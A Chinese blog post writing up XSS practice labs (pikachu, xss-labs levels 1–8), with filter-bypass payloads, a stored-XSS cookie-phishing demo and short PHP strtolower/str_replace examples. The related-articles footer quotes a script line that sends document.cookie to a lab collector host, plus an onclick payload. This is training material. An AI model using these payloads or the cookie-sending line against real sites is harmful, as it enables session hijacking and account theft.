首页 > 其他分享 >xss跨站脚本

xss跨站脚本

时间:2024-03-05 09:00:47浏览次数:27  
标签:脚本 xss 跨站 恶意代码 代码 replace str 替换

1、演示xss漏洞的三种类型

1. xss(反射型)

    1. 服务器将浏览器输入的输入,原样返回给浏览器
    1. 恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击。

1.代码image.png

2. xss(存储型)

  1. 服务器接收到浏览器的输入,先存储到服务器的数据库 ,再原样返回
  2. 当一个页面存在存储型XSS的时候,插入的恶意代码会存储到数据库中。当访问此页面查看留言时,web程序会从数据库中取出恶意代码插入到页面,导致浏览器触发xss。
    1.编入恶意代码image.png
    2.恶意代码存储后弹出image.png
    3.查看源代码image.png

3. xss(DOM型)

  1. 修改DOM节点形成xss。类似于反射型的xss。
  2. 反射型和存储型都是服务器端将代码反馈到了源码中,在源代码里可以看到xss的代码。
  3. DOM型号XSS只与客户端上的js交互,也就是说提交的恶意代码被放到了js中执行,然后显示出来。
  1. 恶意代码执行image.png
  2. 查看源代码image.png

2、演示存储型xss钓鱼管理员账户cookie

  1. 我的JS创建一个模板image.png
    2.使用创建的模板攻击image.png
    3.打开pikachu靶场,把复制的payload放进去image.png
    image.png
    4.查看返回的数据image.png

3、通关xss挑战的1、2、3、5、6、7、8,配合后端代码解释相关关卡为什么这么绕过可以弹窗

image.png

1.Level1

1.1 查看传参知点

  • 传参点:name=test
  • 传参测试:image.png

1.2 代码审计

  1. 反射型xss,将name后面的值test改为<script>alert('xss')</script> :
    image.png
  2. 构造script标签

2.Level2

2.1 查看传参知点

  • 传参点:keyword=test&submit=搜索
  • 传参测试:image.pngimage.png

2.2 代码审计

"><"

  1. 构造闭合语句,再写入恶意script代码image.png

3.Level3

3.1 代码审计

1.写入查看页面源码image.png
2.使用函数对网页上的特殊字符进行url编码image.png
3.插入的语句插入在input的标签中,没有触发该js脚本,因此我们可以闭合掉input标签来实现该js脚本触发image.png
4.image.png

4.Level5

4.1 代码审计

  1. 写入查看页面源码
    image.png
    2.我们传进去的参数部分被实体化了,<"> ,但是它的闭合方式跟上一关的不一样,这关事单引号,那我们就试一下单引号闭合看下,要注意的是咋们要绕过实体化,所以我们重新构造一个payloadimage.png
    image.png
    image.png

5.Level6

5.1 代码审计

  1. 写入查看页面源码
    2.测试发现,on 和 script被过滤了image.png
    image.png
    3.大小写没有过滤image.png
    image.png

6.Level7

6.1 查看传参知点

6.2 代码审计

  1. 写入查看页面源码
    image.png
    2.多了一个双引号过滤,而且这里还是插入到a标签的超链接中,因此我们这就要利用a标签的隐藏属性,a标签自动Unicode解码,因此我们利用unicode编码来绕过
    image.png
    image.png

7.Level8

代码审计

  1. 写入查看页面源码
    image.png
    2.多了一个判断,判断写入的url有没有https:// ,没有的话直接出错,有的话才能插入,所以这里要利用html的一个特性,就是注释的代码也会被执行,所以我们吧http://注释掉来绕过image.png
    image.png

4、自主尝试strtolower,str_replace函数的作用

1. strtolower

函数语法:

  **strtolower ( string $string ) : string**

  1. **strtolower()** 函数将 string 中所有的字母字符转换为小写并返回。
  2. 该函数和 strtoupper() 函数相反,strtoupper() 函数将字符串转化为大写。

代码演示:

 <meta charset="UTF-8">
<?php
//strtolower

$str = "Headsomeboy I have";

echo '原字符串输出为:'.$str;
echo '<br>';
$str_1 = strtolower($str);
echo '转换后输出为:'.$str_1;
echo '<br>';
?>

image.png
image.png

2. str_replace

函数语法:

**str_replace(find,replace,string,count)**

- count:对替换数进行计数的变量。[在 PHP 5.0 中,新增了 count 参数。]

1. find:规定要查找的字符串或数组;  
2. replace:被用来替换的字符串或数组;  
3. string:被查询的字符串或数组;  
4. count:可选,替换的次数

代码演示:

<?php
//str_replace

//实例一:字符串替换字符串
$str1 = str_replace("red","black","red green yellow pink purple");
echo $str1;  //输出结果为black green yellow pink purple
echo "<br>";

//实例二:数组的键值用字符串替换
$arr = array("blue","red","green","yellow");
$str1 = str_replace("red","pink",$arr,$count);
print_r($str1);
//输出结果
//Array ( [0] => blue [1] => pink [2] => green [3] => yellow )
echo "<br>" . $count; //输出替换次数1

//实例三:数组替换数组,一一映射替换
$arr1 = array("banana","orange");
$arr2 = array("pitaya","tomato");
$con_arr = array("apple","orange","banana","grape");
$con_rep = str_replace($arr1,$arr2,$con_arr,$count1);
print_r($con_rep);

//输出结果
// Array ( [0] => apple [1] => tomato [2] => pitaya [3] => grape )
echo "<br>" . $count1; //输出替换次数2

//实例四:如$search为数组,$replace为字符串时
$search = array("banana","grape");
$replace = "tomato";
$arr = array("banana","apple","orange","grape");
$new_arr = str_replace($search,$replace,$arr,$count2);
print_r($new_arr);
//输出结果
//Array ( [0] => tomato [1] => apple [2] => orange [3] => tomato )
echo "<br>" . $count2; //输出替换次数2
?>

1.字符串替换字符串image.png
2.数组的键值用字符串替换image.png
3.数组替换数组,一一映射替换image.png

  1. 如$search为数组,$replace为字符串时image.png

标签:脚本,xss,跨站,恶意代码,代码,replace,str,替换
From: https://www.cnblogs.com/TessCat/p/18053192

相关文章

  • 编码绕过xss说明和htmlspecialchars函数
    html实体编码JS编码1.htmlspecialchars函数把一些预定义的字符转换为html实体预定义的字符&->&amp;"->"'->'<-><>->gt;<script>--><&ltscript&gt默认绕过绕过方式:payload:'onclick='alert(123)'或者&#......
  • Shell 获取网卡名称及对应ip脚本
    以下是一个使用ifconfig获取网卡名及对应IP的简单Shell脚本:#!/bin/bashecho"网卡名和对应IP:">output.txt#使用ifconfig命令获取网卡信息,并使用awk进行处理ifconfig|awk'/^[a-zA-Z0-9]+/{interface=$1;next}/inet/{printinterface":"$2}'>>out......
  • Tomcat一键部署脚本
    Tomcat一键部署脚本环境:centos7、已安装wget、已换阿里源简易脚本,抛砖引玉Tomcat一键部署脚本#!/bin/bash#安装Javayuminstalljava-1.8.0-y#检查Java是否安装成功java-versionif[$?-ne0];thenecho"Java安装失败,请检查后重试。"exit1f......
  • python获取服务器基本信息的脚本
     之前我发布了批量收集服务器信息脚本,本次更新优化了脚本,对脚本设置了trycatch抛出异常等等,收集信息如下:ip地址","主机名","序列号","服务器型号","系统盘数量","系统盘符","系统盘容量","系统盘分区","硬盘列表","硬盘数量","CPU核数","CP......
  • PowerShell 中,您可以通过远程控制执行多条命令。最常见的方法是使用 Invoke-Command
    PowerShell中,您可以通过远程控制执行多条命令。最常见的方法是使用Invoke-Command命令,它允许您在远程计算机上执行指定的命令或脚本块。以下是一种执行多条命令的示例:powershellCopyCodeInvoke-Command-ComputerName"远程计算机名"-ScriptBlock{#在这里可以放置要......
  • XSS后台代码绕过
    xss_01正则表达式替换绕过方式:大小写混合或纯大写绕过paylaod:<scripT>alert(AAA);</Script>或<SCRIPT>alert(123);<SCRIPT>字符最小化将获取的message数据中获取的大小写字符全部转换为小写绕过方式:通过双写绕过Payload:<sc<script>ript>alert</scrip<script>t>......
  • 反射型xss的post请求获取cookie
    攻击者构造的网站地址:192.168.10.12:100受害者主机:192.168.10.134目标服务器:192.168.10.1步骤一:受害者主机访问目标服务器根据提示登录步骤二:输入xssPayload<script>document.location='http://192.168.10.12:100/pkxss/xcookie/cookie.php?cookie='+document.cookie<......
  • cnpm i报错 cpm:无法加载文件c:wsers vdministratorpata Roaming mpmcnpm.ps1,因为在
    cpm:无法加载文件c:wsersvdministratorpataRoamingmpmcnpm.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅htps:/g.microsoft.con/fvlink/?LinkID=135170中的aboutExecutionPolicies。所在位置行:1字符:1+cnpmi.+CategoryInfoSecurityError:(:)[],PsSecuri......
  • 编辑器蓝图脚本_批量静态网格体资产减面
    介绍这个功能用于静态模型资产的减面工作注意1为100%使用1选中想要减面的模型资产(注意是在资产管理器中)2这里选择减50%的三角面3减面完成蓝图https://blueprintue.com/blueprint/15ew70m6/参考链接https://www.bilibili.com/video/BV14C4y1c7ww/?spm_id_from=333.78......
  • SQL server数据库相关运维脚本
    SQLserver数据库相关运维脚本创建数据库USEmaster;goDECLARE@database_nameNVARCHAR(50);DECLARE@data_fileNVARCHAR(50);DECLARE@sqlNVARCHAR(MAX);--数据库名SET@database_name='数据库名';--数据文件存放路径,该路径必须存在。--路径中不允许使用空格等字......